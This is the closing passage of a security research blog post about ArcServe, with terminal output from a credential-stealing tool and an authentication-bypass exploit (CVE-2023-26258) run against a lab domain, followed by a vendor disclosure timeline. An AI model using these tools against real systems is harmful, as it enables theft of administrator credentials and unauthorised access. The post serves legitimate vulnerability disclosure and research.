psyconauta@insulanova:/tmp|⇒  python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20
		-=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-
[+] Connecting to 192.168.56.20
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Opening registry key
	[*] User: P3TWLADS11STD\\vagrant
	[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service

Have a nice day! ^_^

Finally, if the ArcServe version was not patched (CVE-2023-26258) it is possible to exploit an authentication bypass in the management web interface and retrieve the admin creds (ArcServe-exploit.py):

psyconauta@insulanova:/tmp|⇒  python3 exploit.py 192.168.56.10
		-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-


[*] Triggering info leak
	[+] AdminName: SEVENKINGDOMS\\vagrant
	[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
	[+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
	[+] Admin: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter


Have a happy hacking! ^_^

So here ends the summary of tools that can be found on our GitHub.

Disclosure Timeline

  • 09/02/2023 – Support ticket open. Shared PoCs and generic info.
  • 10/02/2023 – Support says the fault is in Tomcat (??)
  • 14/02/2023 – Support insists on asking about our “Nessus report” or “Tomcat CVE” we used for this vulnerability (???). We replied explaining again where the vulnerability is present, and how to exploit it (we shared PoCs before)
  • 20/02/2023 – Finally the details were forwarded to someone with a bit of security knowledge 21/02/2023 – Assigned CVE was shared with ArcServe team
  • 10/03/2023 – Asked about progress/ETA for a patch or update
  • 10/03/2023 – Replied that there is no ETA for security update and they still investigating the issue internally (????)
  • 28/03/2023 – ArcServe team sent to us a mail apologising for the delay, but they still needing more time to keep investigating the issue (?????)
  • 03/04/2023 – ArcServe team sent to us a mail indicating that a fix was being developed. 06/04/2023 – ArcServe tell us that he patch will affect 3 main branches and asked us how we want to be credited. They also asked a few questions regarding legacy versions of ArcServe
  • 06/04/2023 – Answered their questions about legacy versions
  • 09/05/2023 – Asked for an ETA or an update
  • 24/05/2023 – Asked again for an ETA or an update
  • 24/05/2023 – They say the will give a date for the update soon
  • 06/06/2023 – Asked again for an ETA or an update
  • 21/06/2023 – ArcServe indicates that a hotfix was prepared
  • 27/06/2023 – ArcServe releases the patch without credits

This blog post was written by Juan Manuel Fernandez.

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2024 MDSec